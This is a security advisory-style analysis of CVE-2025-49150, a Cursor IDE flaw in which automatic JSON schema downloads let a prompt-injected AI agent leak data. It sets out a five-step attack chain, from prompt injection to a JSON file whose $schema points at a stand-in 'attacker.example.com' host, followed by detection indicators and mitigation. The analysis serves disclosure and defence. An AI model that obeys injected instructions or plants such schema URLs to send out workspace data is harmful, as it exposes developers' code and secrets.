CVE-2025-49150: 
Cursor IDE vulnerability analysis and mitigation

CVE-2025-49150 is an information leakage vulnerability in Cursor, an AI-powered code editor, caused by the json.schemaDownload.enable setting being enabled by default. Prior to version 0.51.0, this default configuration allows an attacker — particularly a malicious or compromised AI agent — to trigger arbitrary HTTP GET requests to attacker-controlled URLs without user confirmation, potentially exfiltrating sensitive data. The vulnerability was published on June 11, 2025, and affects all Cursor Desktop App versions before 0.51.0. It carries a CVSS v3.1 base score of 5.9 (Medium) (GitHub Advisory, Red Hat CVE).

The root cause is an insecure default configuration (CWE-200: Exposure of Sensitive Information to an Unauthorized Actor) where json.schemaDownload.enable is set to True by default in Cursor. When a JSON file references an external $schema URL, the editor automatically issues an HTTP GET request to that URL without prompting the user. Because the Cursor Agent has the ability to create and edit JSON files as part of its agentic workflow, a malicious agent — for example, one that has already been compromised via a prompt injection attack — can craft a JSON file with a $schema pointing to an attacker-controlled server, causing the editor to beacon out and potentially leak context data the agent has access to. Exploitation requires chaining this with a prior compromise of the agent (e.g., prompt injection), making the attack complexity high (GitHub Advisory).

Successful exploitation results in unauthorized outbound HTTP GET requests from the victim's Cursor instance to attacker-controlled infrastructure, enabling data exfiltration of information accessible to the Cursor Agent at the time of exploitation. The confidentiality impact is rated High, as the agent may have access to source code, environment variables, API keys, or other sensitive project data. Integrity and availability are not directly impacted by this vulnerability. Exploitation is constrained by the need to first compromise the agent (e.g., via prompt injection), limiting the immediate blast radius but making it a meaningful second-stage attack vector in AI-assisted development environments (GitHub Advisory).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-49150. The EPSS score is approximately 0.041%, reflecting a low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires chaining with a separate attack (e.g., prompt injection) to gain control of the Cursor Agent, which raises the practical bar for attackers. The vulnerability was credited to researcher MaccariTA and disclosed via GitHub's security advisory process (GitHub Advisory).

1. Initial Access via Prompt Injection: Craft a malicious prompt or inject adversarial content into a file, repository, or data source that the Cursor Agent will process, causing the agent to follow attacker instructions.
2. Agent Compromise: Leverage the prompt injection to direct the Cursor Agent to perform file editing operations on behalf of the attacker.
3. Craft Malicious JSON File: Instruct the compromised agent to create or modify a JSON file in the workspace that includes a $schema field pointing to an attacker-controlled URL (e.g., { "$schema": "https://attacker.example.com/schema.json" }).
4. Trigger Automatic HTTP Request: When Cursor processes the JSON file with json.schemaDownload.enable set to True (the default in versions prior to 0.51.0), it automatically issues an HTTP GET request to the attacker's URL without user confirmation.
5. Exfiltrate Data: Monitor the attacker-controlled server for incoming requests; the HTTP request may include headers, tokens, or other contextual data accessible to the agent, enabling data exfiltration (GitHub Advisory).

• Network: Unexpected outbound HTTP GET requests from the developer workstation to unknown or external domains with paths resembling JSON schema URLs (e.g., GET /schema.json or similar); DNS lookups for unfamiliar domains initiated by the Cursor process.
• File System: Presence of JSON files in the workspace containing a $schema field pointing to external or unfamiliar URLs, especially if not authored by the developer.
• Logs: Network proxy or firewall logs showing HTTP GET requests from the Cursor application process to external hosts not associated with known schema registries (e.g., not json.schemastore.org).
• Process: The Cursor editor process initiating outbound network connections to non-standard endpoints during or after AI agent activity (GitHub Advisory).

Cursor has addressed this vulnerability in version 0.51.0 by disabling json.schemaDownload.enable by default. Users should upgrade to Cursor 0.51.0 or later immediately. As a workaround for users unable to upgrade, manually set json.schemaDownload.enable to False in Cursor's settings to prevent automatic schema downloads. Additionally, organizations should apply prompt injection mitigations and review AI agent permissions to limit the data accessible to the Cursor Agent (GitHub Advisory).

The vulnerability was part of a broader research effort dubbed "IDEsaster," which uncovered approximately 30 security flaws across AI coding tools including GitHub Copilot, Gemini CLI, and Claude, attracting significant media coverage (The Hacker News, CyberSecurityNews). Security researchers and bloggers highlighted the systemic risk of insecure defaults in AI-assisted development environments, with commentary noting that prompt injection combined with permissive agent capabilities creates a new class of supply chain and data exfiltration risks (maccarita.com, tigran.tech). Community sentiment emphasized the need for AI coding tools to adopt secure-by-default configurations and stronger sandboxing for agentic operations.